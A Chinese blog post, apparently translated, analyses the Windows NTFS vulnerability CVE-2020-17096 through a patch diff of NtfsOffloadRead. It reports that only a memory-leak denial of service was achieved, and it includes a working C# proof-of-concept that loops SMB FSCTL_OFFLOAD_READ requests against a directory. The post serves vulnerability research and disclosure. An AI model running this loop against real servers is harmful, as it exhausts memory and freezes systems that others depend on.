0

0

NTFS远程代码执行(CVE-2020-17096)分析

看不見的法師

看不見的法師

发布时间:2025-08-12 08:18:02

|

996人浏览过

|

来源于php中文网

原创

以下是对微软2020年12月12日发布的cve-2020-17096漏洞的分析,评估了远程代码执行漏洞的利用可能性。在周二的最后一次补丁更新中,这个漏洞引起了我们的关注。

差异化的ntfs.sys

通过使用BinDiff对比打了补丁的驱动和未打补丁的版本,我们发现仅有一个函数发生了变化,即NtfsOffloadRead。

NTFS远程代码执行(CVE-2020-17096)分析该函数较大,通过仔细比较两个驱动版本,我们发现唯一的代码变动位于函数的开头:

NTFS远程代码执行(CVE-2020-17096)分析

uint NtfsOffloadRead(PIRP_CONTEXT IrpContext, PIRP Irp) {
    PVOID decoded = NtfsDecodeFileObjectForRead(...);
    if (!decoded) {
        if (NtfsStatusDebugFlags) {
            // ...
        }
        // *** 变动1:第一个参数从NULL改为IrpContext
        NtfsExtendedCompleteRequestInternal(NULL, Irp, 0xc000000d, 1, 0);
        // *** 变动2:以下if块被完全删除
        if (IrpContext && *(PIRP *)(IrpContext + 0x68) == Irp) {
            *(PIRP *)(IrpContext + 0x68) = NULL;
        }
        if (NtfsStatusDebugFlags) {
            // ...
        }
        return 0xc000000d;
    }
    // 函数的其余部分...
}

触发脆弱的代码

从函数名称来看,我们推测它负责处理卸载读取请求,这是Windows 8中引入的卸载数据传输功能的一部分。通过发送FSCTL_OFFLOAD_READ控制代码,可以通过SMB远程请求卸载读取。

实际上,通过发送FSCTL_OFFLOAD_READ控制代码,我们看到NtfsOffloadRead函数被调用,但第一个if分支被跳过。经过实验,我们发现了一种触发分支的方法,即在发送卸载读取请求之前打开一个文件夹,而不是一个文件。

探讨开发方案

我们分别研究了这两个变化,并尝试以最简单的方式对易受攻击的计算机造成一些麻烦。

第一个变化。NtfsExtendedCompleteRequestInternal函数没有接收IrpContext参数。

简单观察NtfsExtendedCompleteRequestInternal,如果第一个参数是NULL,似乎会被忽略。否则,IrpContext结构的多个字段将被使用ExFreePoolWithTag等函数释放。这段代码较长,我们没有彻底分析,但从快速浏览中,我们没有找到滥用这些在易受攻击版本中未被调用的函数的方法。我们观察到,认为这个bug会导致非分页池的内存泄漏,而分页池是保证驻留在物理内存中的。

我们实现了一个小工具,在无限循环中发出卸载读取请求。几个小时后,我们的易受攻击的虚拟机耗尽了内存并冻结,不再响应任何输入。下面是任务管理器的截图和我们使用的代码。

奇布塔
奇布塔

基于AI生成技术的一站式有声绘本创作平台

下载

第二个变化。一个IRP指针字段,IrpContext的一部分,被设置为NULL。

根据我们的快速尝试,我们没有找到滥用IRP指针字段被设置为NULL的方法。如果你有任何想法,请告诉我们。

那远程代码执行呢?

我们和你一样好奇。不幸的是,我们能够投入的时间有限,无法满足我们的好奇心。我们尽可能地找到了漏洞代码,并触发它,导致内存泄漏和最终的拒绝服务,但我们无法利用它进行远程代码执行。

这里可能没有实际的远程代码执行,为了以防万一,我们将其标记为“坏邻居”ICMPv6漏洞(CVE-2020-16898)。如果你有任何见解,我们将很乐意听到。

CVE-2020-17096 POC(拒绝服务)

NTFS远程代码执行(CVE-2020-17096)分析之前闲置的虚拟机,配置标准,没有运行的程序。

NTFS远程代码执行(CVE-2020-17096)分析触发内存泄漏后,同样的空闲虚拟机,无响应。

using (var trans = new Smb2ClientTransport()) {
    var ipAddress = System.Net.IPAddress.Parse(ip);
    trans.ConnectShare(server, ipAddress, domain, user, pass, share, SecurityPackageType.Negotiate, true);
    trans.Create(
        remote_path,
        FsDirectoryDesiredAccess.GENERIC_READ | FsDirectoryDesiredAccess.GENERIC_WRITE,
        FsImpersonationLevel.Anonymous,
        FsFileAttribute.FILE_ATTRIBUTE_DIRECTORY,
        FsCreateDisposition.FILE_CREATE,
        FsCreateOption.FILE_DIRECTORY_FILE);
    FSCTL_OFFLOAD_READ_INPUT offloadReadInput = new FSCTL_OFFLOAD_READ_INPUT();
    offloadReadInput.Size = 32;
    offloadReadInput.FileOffset = 0;
    offloadReadInput.CopyLength = 0;
    byte[] requestInputOffloadRead = TypeMarshal.ToBytes(offloadReadInput);
    while (true) {
        trans.SendIoctlPayload(CtlCode_Values.FSCTL_OFFLOAD_READ, requestInputOffloadRead);
        trans.ExpectIoctlPayload(out _, out _);
    }
}

导致内存泄漏和最终拒绝服务的C#代码。与Windows协议测试套件一起使用。

参考文献:

https://www.php.cn/link/4b2e0217a0ed46be7207c0acfe2fee53

相关专题

更多
c语言中null和NULL的区别
c语言中null和NULL的区别

c语言中null和NULL的区别是:null是C语言中的一个宏定义,通常用来表示一个空指针,可以用于初始化指针变量,或者在条件语句中判断指针是否为空;NULL是C语言中的一个预定义常量,通常用来表示一个空值,用于表示一个空的指针、空的指针数组或者空的结构体指针。

233

2023.09.22

java中null的用法
java中null的用法

在Java中,null表示一个引用类型的变量不指向任何对象。可以将null赋值给任何引用类型的变量,包括类、接口、数组、字符串等。想了解更多null的相关内容,可以阅读本专题下面的文章。

437

2024.03.01

if什么意思
if什么意思

if的意思是“如果”的条件。它是一个用于引导条件语句的关键词,用于根据特定条件的真假情况来执行不同的代码块。本专题提供if什么意思的相关文章,供大家免费阅读。

759

2023.08.22

windows查看端口占用情况
windows查看端口占用情况

Windows端口可以认为是计算机与外界通讯交流的出入口。逻辑意义上的端口一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等等。怎么查看windows端口占用情况呢?php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

647

2023.07.26

查看端口占用情况windows
查看端口占用情况windows

端口占用是指与端口关联的软件占用端口而使得其他应用程序无法使用这些端口,端口占用问题是计算机系统编程领域的一个常见问题,端口占用的根本原因可能是操作系统的一些错误,服务器也可能会出现端口占用问题。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

1125

2023.07.27

windows照片无法显示
windows照片无法显示

当我们尝试打开一张图片时,可能会出现一个错误提示,提示说"Windows照片查看器无法显示此图片,因为计算机上的可用内存不足",本专题为大家提供windows照片无法显示相关的文章,帮助大家解决该问题。

798

2023.08.01

windows查看端口被占用的情况
windows查看端口被占用的情况

windows查看端口被占用的情况的方法:1、使用Windows自带的资源监视器;2、使用命令提示符查看端口信息;3、使用任务管理器查看占用端口的进程。本专题为大家提供windows查看端口被占用的情况的相关的文章、下载、课程内容,供大家免费下载体验。

452

2023.08.02

windows无法访问共享电脑
windows无法访问共享电脑

在现代社会中,共享电脑是办公室和家庭的重要组成部分。然而,有时我们可能会遇到Windows无法访问共享电脑的问题。这个问题可能会导致数据无法共享,影响工作和生活的正常进行。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

2350

2023.08.08

菜鸟裹裹入口以及教程汇总
菜鸟裹裹入口以及教程汇总

本专题整合了菜鸟裹裹入口地址及教程分享,阅读专题下面的文章了解更多详细内容。

0

2026.01.22

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Node.js 教程
Node.js 教程

共57课时 | 9.1万人学习

【web前端】Node.js快速入门
【web前端】Node.js快速入门

共16课时 | 2万人学习

Node.js-前端工程化必学
Node.js-前端工程化必学

共19课时 | 3万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号